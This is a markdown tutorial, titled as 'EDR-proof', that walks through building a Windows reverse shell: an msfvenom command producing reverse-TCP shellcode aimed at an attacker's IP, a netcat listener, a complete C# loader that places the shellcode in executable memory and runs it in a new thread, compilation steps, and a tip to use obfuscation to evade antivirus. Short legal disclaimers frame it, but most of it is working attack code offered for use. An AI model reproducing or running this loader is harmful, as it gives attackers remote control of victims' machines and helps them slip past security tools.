edr-proof-reverseshell.md

🛠️ Step-by-Step Guide to Creating a C# Reverse Shell

1. Generate Shellcode with msfvenom

Use msfvenom to create shellcode for a reverse TCP shell. Replace YOUR_IP with your attacker's IP address and YOUR_PORT with the desired port number:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f csharp

This command generates shellcode in C# format, which you'll embed into your C# program.

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2. Set Up a Listener on the Attacker's Machine

On your attacker's machine, set up a listener to catch the reverse shell connection:

nc -lvnp YOUR_PORT

Ensure that the port number matches the one used in the shellcode generation.

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3. Embed the Shellcode into a C# Program

Create a C# program that allocates memory, writes the shellcode into it, and executes it using Windows API functions. Here's the complete code:

using System;
using System.Runtime.InteropServices;

namespace ShellcodeLoader
{
    class Program
    {
        // Import necessary Windows API functions
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAlloc(
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr CreateThread(
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            out uint lpThreadId);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern uint WaitForSingleObject(
            IntPtr hHandle,
            uint dwMilliseconds);

        // Constants for memory allocation
        const uint MEM_COMMIT = 0x1000;
        const uint MEM_RESERVE = 0x2000;
        const uint PAGE_EXECUTE_READWRITE = 0x40;
        const uint INFINITE = 0xFFFFFFFF;

        static void Main(string[] args)
        {
            // Replace this shellcode with the one generated by msfvenom
            byte[] shellcode = new byte[] {
                /* Your shellcode bytes go here */
            };

            // Allocate memory for the shellcode
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if (addr == IntPtr.Zero)
            {
                Console.WriteLine("[-] Memory allocation failed.");
                return;
            }

            // Copy shellcode to allocated memory
            Marshal.Copy(shellcode, 0, addr, shellcode.Length);

            // Create a thread to execute the shellcode
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out uint threadId);
            if (hThread == IntPtr.Zero)
            {
                Console.WriteLine("[-] Thread creation failed.");
                return;
            }

            // Wait for the thread to finish execution
            WaitForSingleObject(hThread, INFINITE);
        }
    }
}

Replace the /* Your shellcode bytes go here */ comment with the actual shellcode bytes generated by msfvenom.

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4. Compile the C# Program

Use the C# compiler (csc) to compile the program:

csc Program.cs

This command generates an executable (Program.exe) that, when run on the target machine, will establish a reverse shell connection to the attacker's listener.

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⚠️ Important Considerations

• Testing Environment: Always test in a controlled and authorized environment.
• Antivirus Detection: Modern antivirus solutions may detect and block such activities. Consider using obfuscation techniques or alternative methods to evade detection.
• Legal Compliance: Ensure you have explicit permission before conducting any tests. Unauthorized use of these techniques is illegal and unethical.

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📚 Further Reading and Resources

• Offensive Msfvenom: From Generating Shellcode to Creating Trojans
• Undetectable C# & C++ Reverse Shells
• MSFVenom Reverse Shell Payload Cheatsheet

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By following this guide, you can create a C# program that establishes a reverse shell connection using shellcode generated by msfvenom. Remember to use these techniques responsibly and within the bounds of the law.

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